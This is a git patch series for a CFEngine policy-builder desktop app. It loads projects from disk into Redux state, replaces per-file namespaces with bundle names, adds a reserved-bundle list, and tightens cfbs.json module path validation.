b/src/renderer/src/store/edgesSlice/index.ts index f16f42a..d0ed2da 100644 --- a/src/renderer/src/store/edgesSlice/index.ts +++ b/src/renderer/src/store/edgesSlice/index.ts @@ -1,7 +1,7 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; import { blockRemoved, blocksRemovedForFile } from '../canvasSlice'; -import { projectCreated } from '../projectSlice'; +import { projectCreated, projectLoaded } from '../projectSlice'; import type { BlockEdge, BlockOutcome } from './types'; const edgesSlice = createSlice({ @@ -31,6 +31,7 @@ const edgesSlice = createSlice({ extraReducers: builder => { builder .addCase(projectCreated, () => []) + .addCase(projectLoaded, (_state, action) => action.payload.content.edges) .addCase(blockRemoved, (state, action) => state.filter(edge => edge.source !== action.payload.instanceId && edge.target !== action.payload.instanceId)) .addCase(blocksRemovedForFile, (state, action) => state.filter(edge => edge.fileId !== action.payload.fileId)); } diff --git a/src/renderer/src/store/filesSlice/index.ts b/src/renderer/src/store/filesSlice/index.ts index 38dabef..aa02b7a 100644 --- a/src/renderer/src/store/filesSlice/index.ts +++ b/src/renderer/src/store/filesSlice/index.ts @@ -1,5 +1,6 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; +import { projectLoaded } from '../projectSlice'; import { deriveNamespace } from './deriveNamespace'; import { collectFolderDescendants, sanitizeFileSystemName, uniqueSiblingName } from './fileTree'; import type { PolicyFile, PolicyFolder } from './types'; @@ -124,6 +125,9 @@ const filesSlice = createSlice({ state.currentFileId = state.files[0]?.id ?? null; } } + }, + extraReducers: builder => { + builder.addCase(projectLoaded, (_state, action) => action.payload.content.files); } }); diff --git a/src/renderer/src/store/groupsSlice/index.ts b/src/renderer/src/store/groupsSlice/index.ts index e640eac..ba8f95b 100644 --- a/src/renderer/src/store/groupsSlice/index.ts +++ b/src/renderer/src/store/groupsSlice/index.ts @@ -1,7 +1,7 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; import { blocksRemovedForFile } from '../canvasSlice'; -import { projectCreated } from '../projectSlice'; +import { projectCreated, projectLoaded } from '../projectSlice'; import { groupCreated, groupRemoved } from './actions'; import type { BlockGroup, GroupColor } from './types'; @@ -29,6 +29,7 @@ const groupsSlice = createSlice({ extraReducers: builder => { builder .addCase(projectCreated, () => []) + .addCase(projectLoaded, (_state, action) => action.payload.content.groups) .addCase(groupCreated, (state, action) => { const { color, fileId, id, name } = action.payload; state.push({ color, fileId, id, name }); diff --git a/src/renderer/src/store/projectSlice/index.ts b/src/renderer/src/store/projectSlice/index.ts index 4a31bea..cb1cb95 100644 --- a/src/renderer/src/store/projectSlice/index.ts +++ b/src/renderer/src/store/projectSlice/index.ts @@ -1,6 +1,6 @@ import { type PayloadAction, createSlice } from '@reduxjs/toolkit'; -import type { Project } from './types'; +import type { Project, ProjectContentState } from './types'; type NewProject = Pick & Partial>; @@ -17,6 +17,15 @@ const projectSlice = createSlice({ return { payload: { description, id: crypto.randomUUID(), masterfiles, name, path } }; } }, + // An existing project opened from disk: every content slice takes its part of `content`. + projectLoaded: { + reducer(_state, action: PayloadAction<{ content: ProjectContentState; project: Project }>) { + return action.payload.project; + }, + prepare(project: Omit, content: ProjectContentState) { + return { payload: { content, project: { ...project, id: crypto.randomUUID() } } }; + } + }, // An in-memory project got its folder on disk ("Save Project As"); content stays as is. projectLocated(state, action: PayloadAction>) { if (state) Object.assign(state, action.payload); @@ -24,5 +33,5 @@ const projectSlice = createSlice({ } }); -export const { projectCreated, projectLocated } = projectSlice.actions; +export const { projectCreated, projectLoaded, projectLocated } = projectSlice.actions; export default projectSlice.reducer; diff --git a/src/renderer/src/store/projectSlice/types.ts b/src/renderer/src/store/projectSlice/types.ts index 7d23a15..056e3be 100644 --- a/src/renderer/src/store/projectSlice/types.ts +++ b/src/renderer/src/store/projectSlice/types.ts @@ -1,3 +1,8 @@ +import type { BlockInstance } from '../canvasSlice/types'; +import type { BlockEdge } from '../edgesSlice/types'; +import type { PolicyFile, PolicyFolder } from '../filesSlice/types'; +import type { BlockGroup } from '../groupsSlice/types'; + export interface Project { description: string; // New per created project; remounts the project view. @@ -8,3 +13,12 @@ export interface Project { // The cfbs project folder; null while the project only lives in memory (the demo). path: string | null; } + +// A whole project's content, as read from cfbs.json (spelled out: RootState would be circular here). +export interface ProjectContentState { + canvas: BlockInstance[]; + derivedNodes: Record; + edges: BlockEdge[]; + files: { currentFileId: string | null; files: PolicyFile[]; folders: PolicyFolder[] }; + groups: BlockGroup[]; +} From 4e00388cbd01e43d3c55e2b491dc0527b1bf1b8e Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Thu, 1 Oct 2026 10:06:52 +0300 Subject: [PATCH 004/141] Projects now mirror the file tree as cfbs modules, in the default namespace Each top-level policy file is a local file module and each top-level folder one local directory module, at the project root, as `cfbs add` writes them; the app writes the bundles step, listing every file's entry bundle. Policy files no longer get a namespace each: a file has a bundle name instead, which names its entry bundle, its _vars and its blocks, and never reuses a masterfiles bundle name. Variables are referenced as $(_vars.x), and class names are now project-wide. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/call-method.json | 2 +- blocks/define-class.json | 2 +- blocks/define-variable.json | 4 +- blocks/lib/reserved-bundles.json | 324 ++++++++++++++++++ blocks/render-template.json | 2 +- e2e/open.spec.ts | 8 +- src/main/project.ts | 40 ++- src/renderer/src/App.test.tsx | 2 +- .../src/blocks/definitionEntries.test.ts | 32 ++ src/renderer/src/blocks/definitionEntries.ts | 16 +- src/renderer/src/components/FlowCanvas.tsx | 31 +- .../src/components/PropertiesPanel.tsx | 5 +- src/renderer/src/components/TopBar.tsx | 7 +- .../properties/FileSettingsPanel.tsx | 2 +- .../components/properties/classOptions.tsx | 34 +- .../src/components/properties/inputFilters.ts | 4 +- src/renderer/src/demo/nginxDemoProject.ts | 10 +- src/renderer/src/pages/ProjectView.tsx | 8 +- src/renderer/src/pages/pasteCopies.test.ts | 28 +- src/renderer/src/pages/pasteCopies.ts | 35 +- src/renderer/src/pages/useClipboardActions.ts | 18 +- src/renderer/src/project/cfbsProject.test.ts | 68 +++- src/renderer/src/project/cfbsProject.ts | 105 ++++-- .../src/store/filesSlice/deriveBundle.ts | 31 ++ .../src/store/filesSlice/deriveNamespace.ts | 26 -- .../src/store/filesSlice/filesSlice.test.ts | 39 ++- src/renderer/src/store/filesSlice/index.ts | 10 +- src/renderer/src/store/filesSlice/types.ts | 19 +- 28 files changed, 655 insertions(+), 257 deletions(-) create mode 100644 blocks/lib/reserved-bundles.json create mode 100644 src/renderer/src/blocks/definitionEntries.test.ts create mode 100644 src/renderer/src/store/filesSlice/deriveBundle.ts delete mode 100644 src/renderer/src/store/filesSlice/deriveNamespace.ts diff --git a/blocks/call-method.json b/blocks/call-method.json index 4c86e90..4666bb8 100644 --- a/blocks/call-method.json +++ b/blocks/call-method.json @@ -31,7 +31,7 @@ "type": "string", "required": true, "allowed_chars": "a-zA-Z0-9_:", - "help": "A bundle that already exists elsewhere — CFEngine's standard library, a cfbs module, or one you wrote by hand — e.g. \"default:my_bundle\". Without a namespace it's looked up in default. Canvas blocks call each other automatically; this isn't for that. Takes no arguments." + "help": "A bundle that already exists elsewhere — CFEngine's standard library, a cfbs module, or one you wrote by hand — e.g. \"my_bundle\" (or \"ns:my_bundle\" for one in a namespace). Canvas blocks call each other automatically; this isn't for that. Takes no arguments." } ] } diff --git a/blocks/define-class.json b/blocks/define-class.json index 8c6b204..4f919d4 100644 --- a/blocks/define-class.json +++ b/blocks/define-class.json @@ -164,7 +164,7 @@ "type": "string", "required": true, "references": "variable", - "help": "E.g. vars.myvar (this file) or namespace:vars.myvar (another file)." + "help": "E.g. common_vars.myvar: a file's variables live in its _vars bundle." } ], "steps": [ diff --git a/blocks/define-variable.json b/blocks/define-variable.json index 898b16f..2522f21 100644 --- a/blocks/define-variable.json +++ b/blocks/define-variable.json @@ -117,7 +117,7 @@ "type": "string", "required": true, "references": "variable", - "help": "E.g. vars.myvar (this file) or namespace:vars.myvar (another file)." + "help": "E.g. common_vars.myvar: a file's variables live in its _vars bundle." } ], "steps": [ @@ -145,7 +145,7 @@ "type": "string", "required": true, "references": "variable", - "help": "E.g. vars.myvar (this file) or namespace:vars.myvar (another file)." + "help": "E.g. common_vars.myvar: a file's variables live in its _vars bundle." } ], "steps": [ diff --git a/blocks/lib/reserved-bundles.json b/blocks/lib/reserved-bundles.json new file mode 100644 index 0000000..441d0d9 --- /dev/null +++ b/blocks/lib/reserved-bundles.json @@ -0,0 +1,324 @@ +{ + "$comment": "Bundle names masterfiles (3.24.4 and 3.27.1) already defines in the default namespace. Generated policy is in the default namespace too, so file and block bundles must not reuse these. Regenerate when a new masterfiles release is supported: every `bundle ` in a built out/masterfiles/.", + "bundles": [ + "MPF_class_recommendations", + "__main__", + "aix_services", + "apachectl_patched_for_upgrade", + "append_groups_starting", + "append_if_no_line", + "append_if_no_lines", + "append_to_line_end", + "append_user_field", + "append_users_starting", + "autorun", + "bundles_common", + "cfe_autorun_inventory_LLDP", + "cfe_autorun_inventory_aws", + "cfe_autorun_inventory_aws_ec2_metadata", + "cfe_autorun_inventory_aws_ec2_metadata_cache", + "cfe_autorun_inventory_aws_ec2_metadata_data", + "cfe_autorun_inventory_cpuinfo", + "cfe_autorun_inventory_disk", + "cfe_autorun_inventory_dmidecode", + "cfe_autorun_inventory_fstab", + "cfe_autorun_inventory_ip_addresses", + "cfe_autorun_inventory_listening_ports", + "cfe_autorun_inventory_loadaverage", + "cfe_autorun_inventory_memory", + "cfe_autorun_inventory_mtab", + "cfe_autorun_inventory_packages", + "cfe_autorun_inventory_policy_servers", + "cfe_autorun_inventory_proc", + "cfe_autorun_inventory_proc_cpuinfo", + "cfe_autorun_inventory_setuid", + "cfe_autorun_inventory_timezone", + "cfe_aws_ec2_metadata_from_cache", + "cfe_enterprise_selfsigned_cert", + "cfe_hub_specific_file_control", + "cfe_internal_build_software_report", + "cfe_internal_cleanup_agent_reports", + "cfe_internal_clear_last_seen_hosts_logs", + "cfe_internal_common", + "cfe_internal_core_main", + "cfe_internal_core_watchdog", + "cfe_internal_core_watchdog_aix", + "cfe_internal_core_watchdog_cron_d", + "cfe_internal_core_watchdog_windows", + "cfe_internal_database_cleanup_cf_hub_status", + "cfe_internal_database_cleanup_diagnostics", + "cfe_internal_database_cleanup_promise_log", + "cfe_internal_database_cleanup_reports", + "cfe_internal_database_partitioning", + "cfe_internal_dc_workflow", + "cfe_internal_enable", + "cfe_internal_enterprise_HA_classes", + "cfe_internal_enterprise_main", + "cfe_internal_enterprise_maintenance", + "cfe_internal_enterprise_mission_portal", + "cfe_internal_enterprise_mission_portal_apache", + "cfe_internal_enterprise_policy_analyzer", + "cfe_internal_exported_report_location", + "cfe_internal_hub_common", + "cfe_internal_hub_maintain", + "cfe_internal_hub_vars", + "cfe_internal_inputs", + "cfe_internal_limit_robot_agents", + "cfe_internal_limit_robot_agents_reap", + "cfe_internal_limit_robot_agents_spawn", + "cfe_internal_log_rotation", + "cfe_internal_management", + "cfe_internal_management_file_control", + "cfe_internal_masterfiles_stage", + "cfe_internal_permissions", + "cfe_internal_php_runalerts", + "cfe_internal_postgresql_maintenance", + "cfe_internal_postgresql_vacuum", + "cfe_internal_process_knowledge", + "cfe_internal_processes", + "cfe_internal_purge_scheduled_reports_older_than_days", + "cfe_internal_refresh_events_table", + "cfe_internal_refresh_hosts_view", + "cfe_internal_refresh_inventory_view", + "cfe_internal_setup_knowledge", + "cfe_internal_setup_python_symlink", + "cfe_internal_systemd_service_unit_state", + "cfe_internal_systemd_unit_files", + "cfe_internal_truncate_events", + "cfe_internal_update_bins", + "cfe_internal_update_cmdb", + "cfe_internal_update_cmdb_data_consumption", + "cfe_internal_update_cmdb_data_distribution", + "cfe_internal_update_folders", + "cfe_internal_update_from_repository", + "cfe_internal_update_from_repository_file_control", + "cfe_internal_update_health_failures", + "cfe_internal_update_policy", + "cfe_internal_update_policy_cpv", + "cfe_internal_update_processes", + "cfe_internal_webserver", + "cfengine_controls", + "cfengine_enterprise_hub_ha", + "cfengine_internal_standalone_self_upgrade", + "cfengine_internal_standalone_self_upgrade_execution", + "cfengine_internal_standalone_self_upgrade_state_data", + "cfengine_master_software_content", + "cfengine_package_names", + "cfengine_software", + "cfengine_software_cached_locally", + "cfengine_software_version", + "cfengine_software_version_packages1", + "cfengine_software_version_packages2", + "cfengine_stdlib", + "cfengine_update_controls", + "change_api_server_url_port", + "change_cli_rest_server_url_port", + "change_management", + "change_mp_server_url_port", + "classic_services", + "clean_when_off", + "cmerge", + "collect_vars", + "comment_lines_containing", + "comment_lines_matching", + "common_knowledge", + "config", + "contains_literal_string", + "converge", + "converge_prepend", + "create_solaris_admin_file", + "cronjob", + "daemonize", + "darwin_knowledge", + "data_transport", + "debian_knowledge", + "def", + "def_standalone_self_upgrade", + "delete_lines_matching", + "dir_sync", + "disable_cfengine_agents", + "distributed_cleanup_dependencies", + "distributed_cleanup_run", + "distributed_cleanup_setup", + "enable_cfengine_agents", + "ensure_feeders", + "entry", + "event_debug_handler", + "event_handle", + "event_install_handler", + "event_register", + "event_usage_example", + "expand_template", + "exported_data", + "feature", + "feature_test", + "federated_reporting_superhub_recommendations", + "federation_manage_files", + "file_copy", + "file_empty", + "file_hardlink", + "file_link", + "file_make", + "file_make_mog", + "file_make_mustache", + "file_make_mustache_with_perms", + "file_mustache", + "file_mustache_jsonstring", + "file_tidy", + "fileinfo", + "files_common", + "fstab_option_editor", + "git", + "git_add", + "git_checkout", + "git_checkout_new_branch", + "git_clean", + "git_commit", + "git_init", + "git_stash", + "git_stash_and_clean", + "ha_agent_sync", + "ha_def", + "ha_hub_sync", + "ha_hub_sync_config_data", + "ha_hubs_have_am_policy_hub_marker", + "ha_main", + "ha_manage_mp_status_file", + "ha_manage_notification_scripts_dir", + "ha_share_hub_keys", + "ha_update", + "hello_world_autorun", + "host_info_report", + "host_info_report_cfengine", + "host_info_report_inventory", + "host_info_report_render_txt", + "host_info_report_software", + "ignore_interfaces_rx_reccomendations", + "imported_data", + "insert_before_if_no_line", + "insert_file", + "insert_ini_section", + "insert_lines", + "inventory", + "inventory_aix", + "inventory_aix_oslevel", + "inventory_any", + "inventory_autorun", + "inventory_cfengine_enterprise_license_utilization", + "inventory_control", + "inventory_debian", + "inventory_freebsd", + "inventory_generic", + "inventory_linux", + "inventory_lsb", + "inventory_macos", + "inventory_os", + "inventory_redhat", + "inventory_suse", + "inventory_windows", + "lines_present", + "log_cfengine_enterprise_license_utilization", + "logrotate", + "main", + "maintain_cfe_hub_process", + "maintain_cfe_systemd", + "maintain_cfe_windows", + "maintain_key_values", + "manage_hub_synced_data", + "manage_variable_values_ini", + "measure_entropy_available", + "measure_psql", + "mission_portal_apache_from_stage", + "modules_presence", + "mpf_augments_control", + "mpf_auto_am_policy_hub_state", + "mpf_default_access_rules", + "mpf_main", + "nfs_mount_recommendations", + "npm_knowledge", + "package_absent", + "package_latest", + "package_module_knowledge", + "package_present", + "package_specific", + "package_specific_absent", + "package_specific_latest", + "package_specific_present", + "packages_common", + "paths", + "pip_knowledge", + "postgres_config", + "postgresql_conf_recommendations", + "prepend_if_no_line", + "probabilistic_usebundle", + "process_kill", + "prunedir", + "prunetree", + "redhat_knowledge", + "redhat_no_locking_knowledge", + "regex_replace", + "replace_line_end", + "replace_or_add", + "replace_uncommented_substrings", + "report_access_rules", + "resolvconf", + "resolvconf_o", + "rm_rf", + "rm_rf_depth", + "rpm_knowledge", + "run_ifdefined", + "semanage_installed", + "service_config", + "services_autorun", + "services_common", + "set_colon_field", + "set_config_values", + "set_config_values_matching", + "set_escaped_user_field", + "set_line_based", + "set_quoted_values", + "set_user_field", + "set_variable_values", + "set_variable_values_ini", + "setup_status", + "solaris_knowledge", + "ssh_keygen", + "ssh_selinux_context", + "standalone_self_upgrade_file_control", + "standard_services", + "stdlib_common", + "superhub_schema", + "suse_knowledge", + "sync_master_hub_dat", + "systemd_services", + "testing_generic_report", + "testing_junit_report", + "testing_ok", + "testing_ok_if", + "testing_skip", + "testing_tap_bailout", + "testing_tap_report", + "testing_todo", + "testing_usage_example", + "transport_user", + "u_admin_file", + "u_backup_script", + "u_cfengine_enterprise", + "u_common_knowledge", + "u_install_script", + "u_systemd_services", + "uncomment_lines_containing", + "uncomment_lines_matching", + "update_cli_rest_server_url_config", + "update_def", + "url_ping", + "validate_config_and_restart_service", + "vcs_common", + "warn_lines_matching", + "windows_unattended_upgrade", + "xml_insert_tree", + "xml_insert_tree_nopath", + "xml_set_attribute", + "xml_set_value" + ] +} diff --git a/blocks/render-template.json b/blocks/render-template.json index 07d029b..8eedb4e 100644 --- a/blocks/render-template.json +++ b/blocks/render-template.json @@ -42,7 +42,7 @@ "type": "text", "required": true, "mustache": true, - "help": "Mustache: {{{vars.:vars.}}} inserts a variable (triple braces: not HTML-escaped), {{#classes.:}}…{{/classes.:}} keeps a section only while the class is set. $(name) is expanded by CFEngine first." + "help": "Mustache: {{{vars._vars.}}} inserts a variable (triple braces: not HTML-escaped), {{#classes.}}…{{/classes.}} keeps a section only while the class is set. $(name) is expanded by CFEngine first." }, { "name": "mode", diff --git a/e2e/open.spec.ts b/e2e/open.spec.ts index 60ec75f..59a7bef 100644 --- a/e2e/open.spec.ts +++ b/e2e/open.spec.ts @@ -35,11 +35,11 @@ const builderProject = { build: [ { name: 'masterfiles', version: '3.27.1', added_by: 'cfbs init' }, { - name: './policy/web.cf', + name: './web.cf', description: 'Local policy file added using cfbs command line', tags: ['local'], added_by: 'cfbs add', - steps: ['copy ./policy/web.cf services/cfbs/policy/web.cf', 'policy_files services/cfbs/policy/web.cf', 'bundles web:main'] + steps: ['copy ./web.cf services/cfbs/web.cf', 'policy_files services/cfbs/web.cf', 'bundles web'] } ], meta: { @@ -50,8 +50,8 @@ const builderProject = { { id: 'file-1', name: 'Web', - namespace: 'web', - path: './policy/web.cf', + bundle: 'web', + path: './web.cf', blocks: [block('block-1', 'Say hello'), block('block-2', 'Say goodbye')], edges: [{ id: 'edge-1', source: 'block-1', target: 'block-2', outcomes: ['kept'] }], order: ['block-1', 'block-2'], diff --git a/src/main/project.ts b/src/main/project.ts index fe17579..a584e21 100644 --- a/src/main/project.ts +++ b/src/main/project.ts @@ -94,30 +94,37 @@ function checkedFolderName(value: unknown): string { const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); -// The module paths the builder's meta says are its own. +// A policy file's path in the project: slugged folders, a .cf, never in cfbs's out/. +const POLICY_PATH = /^\.\/([a-z][a-z0-9_-]*\/)*[a-z][a-z0-9_]*\.cf$/; +const isPolicyPath = (path: unknown): path is string => typeof path === 'string' && POLICY_PATH.test(path) && !path.startsWith('./out/'); + +// The policy file paths the builder's meta lists. function builderPaths(meta: unknown): string[] { const files = isRecord(meta) && isRecord(meta[META_KEY]) ? meta[META_KEY].files : undefined; return Array.isArray(files) ? files.flatMap(file => (isRecord(file) && typeof file.path === 'string' ? [file.path] : [])) : []; } +// The modules those files make up: a top-level file is its own, a top-level folder ("./services/") one. +const moduleNameOf = (path: string) => { + const parts = path.slice(2).split('/'); + return parts.length === 1 ? path : `./${parts[0]}/`; +}; +const builderModules = (meta: unknown) => new Set(builderPaths(meta).map(moduleNameOf)); + function checkedContent(value: unknown): ProjectContent { const content = value as Partial | null; if (!isRecord(content) || !isRecord(content.meta) || !isRecord(content.meta[META_KEY]) || !Array.isArray(content.modules)) { throw new InvalidRequest('Invalid project content'); } const paths = builderPaths(content.meta); - if (paths.length !== content.modules.length) throw new InvalidRequest('Invalid project content'); - for (const [index, module] of content.modules.entries()) { - const name = isRecord(module) ? module.name : undefined; - const ok = - name === paths[index] && - typeof name === 'string' && - name.startsWith('./policy/') && - name.endsWith('.cf') && - !name.split('/').includes('..') && - Array.isArray((module as Record).steps); - if (!ok) throw new InvalidRequest('Invalid policy module'); - } + if (!paths.every(isPolicyPath) || new Set(paths).size !== paths.length) throw new InvalidRequest('Invalid policy file path'); + const modules = builderModules(content.meta); + const names = content.modules.map(module => (isRecord(module) ? module.name : undefined)); + const ok = + names.length === modules.size && + names.every(name => typeof name === 'string' && modules.has(name)) && + content.modules.every(module => isRecord(module) && Array.isArray(module.steps)); + if (!ok) throw new InvalidRequest('Invalid policy module'); if (JSON.stringify(content).length > MAX_CONTENT_BYTES) throw new InvalidRequest('Project is too large'); return content as ProjectContent; } @@ -177,13 +184,12 @@ async function fetchMasterfilesVersions(): Promise { /** * Merges builder state into an existing cfbs.json: our `meta` entry replaced, - * our modules (the paths it lists, before and after) replaced after everything - * else, other tools' meta and all other keys and entries kept. .cf files - * aren't written yet — no compiler. + * our modules (the ones its files make up, before and after) replaced after + * everything else, other tools' meta and all other keys and entries kept. */ export function mergeCfbsJson(existing: Record, content: ProjectContent): Record { const build = Array.isArray(existing.build) ? existing.build : []; - const ours = new Set([...builderPaths(existing.meta), ...builderPaths(content.meta)]); + const ours = new Set([...builderModules(existing.meta), ...builderModules(content.meta)]); const meta = { ...(isRecord(existing.meta) ? existing.meta : {}), ...content.meta }; return { ...existing, meta, build: [...build.filter(entry => !(isRecord(entry) && ours.has(entry.name as string))), ...content.modules] }; } diff --git a/src/renderer/src/App.test.tsx b/src/renderer/src/App.test.tsx index b5c6814..a8d7cf5 100644 --- a/src/renderer/src/App.test.tsx +++ b/src/renderer/src/App.test.tsx @@ -37,7 +37,7 @@ describe('App', () => { expect(screen.getByText(/project: web server hardening/i)).toBeInTheDocument(); // Appears in both the top bar's namespace badge and the status bar. - expect(screen.getAllByText(/namespace: web_server_hardening/i).length).toBeGreaterThan(0); + expect(screen.getAllByText(/bundle: web_server_hardening/i).length).toBeGreaterThan(0); }); it('adds a block to the canvas by clicking it in the palette, then edits its properties', () => { diff --git a/src/renderer/src/blocks/definitionEntries.test.ts b/src/renderer/src/blocks/definitionEntries.test.ts new file mode 100644 index 0000000..fc390a7 --- /dev/null +++ b/src/renderer/src/blocks/definitionEntries.test.ts @@ -0,0 +1,32 @@ +import type { BlockInstance } from '../store/canvasSlice/types'; +import { duplicateDefinitionKeys } from './definitionEntries'; +import { blockDescriptorsById } from './loadBlocks'; + +const definitions = (fileId: string, blockId: 'define-class' | 'define-variable', names: string[]): BlockInstance => { + const nameParam = blockId === 'define-class' ? 'class_name' : 'variable_name'; + return { + blockId, + fileId, + instanceId: `${fileId}-${blockId}`, + label: blockId, + params: {}, + entries: names.map((name, index) => ({ id: `${fileId}-${index}`, params: { [nameParam]: name } })) + }; +}; + +describe('duplicateDefinitionKeys', () => { + it('flags a class name defined in another file too: classes are project-wide', () => { + const all = [definitions('a', 'define-class', ['web_role']), definitions('b', 'define-class', ['web_role'])]; + + expect(duplicateDefinitionKeys(all, blockDescriptorsById, 'a')).toEqual(new Set(['define-class:web_role'])); + }); + + it('keeps variables per file: each file has its own vars bundle', () => { + const all = [definitions('a', 'define-variable', ['port']), definitions('b', 'define-variable', ['port'])]; + + expect(duplicateDefinitionKeys(all, blockDescriptorsById, 'a').size).toBe(0); + expect(duplicateDefinitionKeys([definitions('a', 'define-variable', ['port', 'port'])], blockDescriptorsById, 'a')).toEqual( + new Set(['define-variable:port']) + ); + }); +}); diff --git a/src/renderer/src/blocks/definitionEntries.ts b/src/renderer/src/blocks/definitionEntries.ts index fdae212..c7e5106 100644 --- a/src/renderer/src/blocks/definitionEntries.ts +++ b/src/renderer/src/blocks/definitionEntries.ts @@ -1,5 +1,5 @@ import type { BlockInstance, DefinitionEntry } from '../store/canvasSlice/types'; -import { resolveBlockShape } from './resolveBlockShape'; +import { primaryPromiseType, resolveBlockShape } from './resolveBlockShape'; import { type BlockDescriptor, classRefsAttribute } from './types'; // Shared by every consumer of multi-entry blocks (see block-descriptor.v1.json's @@ -37,16 +37,18 @@ export function entrySummary(descriptor: BlockDescriptor, entry: DefinitionEntry return source?.label ?? ''; } -// Names are per file and per block kind: every Define Variable entry in a -// file lands in the same compiled `vars` bundle, so two with one name -// collide; a variable and a class sharing a name don't. Keys are -// `${blockId}:${name}`. -export function duplicateDefinitionKeys(instances: BlockInstance[], descriptorsById: Map): Set { +// Names defined twice, as `${blockId}:${name}` keys, for one file's cards. +// Every Define Variable entry in a file lands in its `_vars`, so +// variables collide per file; classes are project-wide names (default +// namespace), so they collide across files. A variable and a class sharing +// a name don't. +export function duplicateDefinitionKeys(allInstances: BlockInstance[], descriptorsById: Map, fileId: string | null): Set { const seen = new Set(); const duplicates = new Set(); - for (const instance of instances) { + for (const instance of allInstances) { const descriptor = descriptorsById.get(instance.blockId); if (!descriptor?.entries) continue; + if (instance.fileId !== fileId && primaryPromiseType(descriptor) !== 'classes') continue; for (const entry of instance.entries ?? []) { const name = entryName(descriptor, entry); if (!name) continue; diff --git a/src/renderer/src/components/FlowCanvas.tsx b/src/renderer/src/components/FlowCanvas.tsx index 4fb1724..0c51fac 100644 --- a/src/renderer/src/components/FlowCanvas.tsx +++ b/src/renderer/src/components/FlowCanvas.tsx @@ -73,22 +73,20 @@ export interface DataChainCallbacks { export type NodeSizes = Record; -// Where a condition's class is defined: a Define Class entry on this canvas -// (bare name, or qualified with this file's own namespace), or another -// file's namespace. Hard classes and unknown names have no source. -function conditionSourceOf(className: string, instances: BlockInstance[], files: PolicyFile[], currentFileId: string | null): ConditionSource | undefined { +// Where a condition's class is defined: a Define Class entry on this canvas, +// or in another file (classes are project-wide names). Hard classes and +// unknown names have no source. +function conditionSourceOf(className: string, allInstances: BlockInstance[], files: PolicyFile[], currentFileId: string | null): ConditionSource | undefined { if (!className) return undefined; - const separator = className.indexOf(':'); - const namespace = separator === -1 ? null : className.slice(0, separator); - const bareName = separator === -1 ? className : className.slice(separator + 1); - const file = namespace ? files.find(candidate => candidate.namespace === namespace) : undefined; - if (file && file.id !== currentFileId) return { fileLabel: `${file.name}.cf` }; - for (const instance of instances) { + const definers = allInstances.filter(instance => { const descriptor = blockDescriptorsById.get(instance.blockId); - if (!descriptor?.entries || primaryPromiseType(descriptor) !== 'classes') continue; - if ((instance.entries ?? []).some(entry => entryName(descriptor, entry) === bareName)) return { instanceId: instance.instanceId }; - } - return undefined; + if (!descriptor?.entries || primaryPromiseType(descriptor) !== 'classes') return false; + return (instance.entries ?? []).some(entry => entryName(descriptor, entry) === className); + }); + const here = definers.find(instance => instance.fileId === currentFileId); + if (here) return { instanceId: here.instanceId }; + const file = files.find(candidate => candidate.id === definers[0]?.fileId); + return file ? { fileLabel: `${file.name}.cf` } : undefined; } // The toolbar's zoom actions, shared with the app's keyboard shortcuts. @@ -100,6 +98,8 @@ export interface ZoomControls { } interface FlowCanvasProps { + // Every file's blocks: a condition's class may be defined in another file. + allInstances: BlockInstance[]; currentFileId: string | null; // The block cut to the clipboard and not pasted yet: shown muted, not draggable. cutPendingId: string | null; @@ -268,6 +268,7 @@ function CanvasToolbar({ * compiled execution order (canvas/executionOrder.ts), shown as #n. */ export function FlowCanvas({ + allInstances, instances, cutPendingId, edges, @@ -385,7 +386,7 @@ export function FlowCanvas({ measured: measured[gate.nodeId], data: { gate, - source: conditionSourceOf(gate.condition.className, instances, files, currentFileId), + source: conditionSourceOf(gate.condition.className, allInstances, files, currentFileId), fileRelation: relationToFileCondition(gate.condition, fileCondition), onHighlight: setHighlightedId, onModeChange: mode => onGateModeChange(gate, mode), diff --git a/src/renderer/src/components/PropertiesPanel.tsx b/src/renderer/src/components/PropertiesPanel.tsx index b4e845e..6feffa7 100644 --- a/src/renderer/src/components/PropertiesPanel.tsx +++ b/src/renderer/src/components/PropertiesPanel.tsx @@ -200,10 +200,7 @@ export function PropertiesPanel(props: PropertiesPanelProps) { const { noun, noun_plural } = descriptor.entries; const entries = instance.entries ?? []; const definesVariables = primaryPromiseType(descriptor) === 'vars'; - const duplicateKeys = duplicateDefinitionKeys( - allInstances.filter(candidate => candidate.fileId === instance.fileId), - blockDescriptorsById - ); + const duplicateKeys = duplicateDefinitionKeys(allInstances, blockDescriptorsById, instance.fileId); const isDuplicate = (name: string) => duplicateKeys.has(`${instance.blockId}:${name}`); const handleAddEntry = () => setOpenEntryId(props.onEntryAdd()); diff --git a/src/renderer/src/components/TopBar.tsx b/src/renderer/src/components/TopBar.tsx index 045bd31..5798714 100644 --- a/src/renderer/src/components/TopBar.tsx +++ b/src/renderer/src/components/TopBar.tsx @@ -7,12 +7,13 @@ export const PROJECT_TABS = ['Canvas', 'Generated Policy (.cf)', 'Test Results & interface TopBarProps { activeTab: number; blockCount: number; + // The open file's entry bundle. + bundle: string; // Unsaved changes since the last save. dirty: boolean; // "runs only if linux", when the open file is gated. fileGate?: string; masterfiles: string | null; - namespace: string; onTabChange: (index: number) => void; projectName: string; } @@ -33,7 +34,7 @@ const chipSx = { maxWidth: 200 } as const; -export function TopBar({ projectName, dirty, masterfiles, namespace, fileGate, blockCount, activeTab, onTabChange }: TopBarProps) { +export function TopBar({ projectName, dirty, masterfiles, bundle, fileGate, blockCount, activeTab, onTabChange }: TopBarProps) { return ( {masterfiles && masterfiles {masterfiles}} - namespace: {namespace} + bundle: {bundle} {fileGate && ( {fileGate} diff --git a/src/renderer/src/components/properties/FileSettingsPanel.tsx b/src/renderer/src/components/properties/FileSettingsPanel.tsx index d9756b7..b575de9 100644 --- a/src/renderer/src/components/properties/FileSettingsPanel.tsx +++ b/src/renderer/src/components/properties/FileSettingsPanel.tsx @@ -31,7 +31,7 @@ export function FileSettingsPanel({ FILE {file.name} - namespace: {file.namespace} + bundle: {file.bundle} :vars." / "classes.:". -function definitionToken( - promiseType: string | undefined, - definedName: string, - file: { namespace: string; sameFile: boolean }, - label: string, - group: string -): TemplateToken | undefined { - const prefix = file.sameFile ? '' : `${file.namespace}:`; +// might reference from a template. The 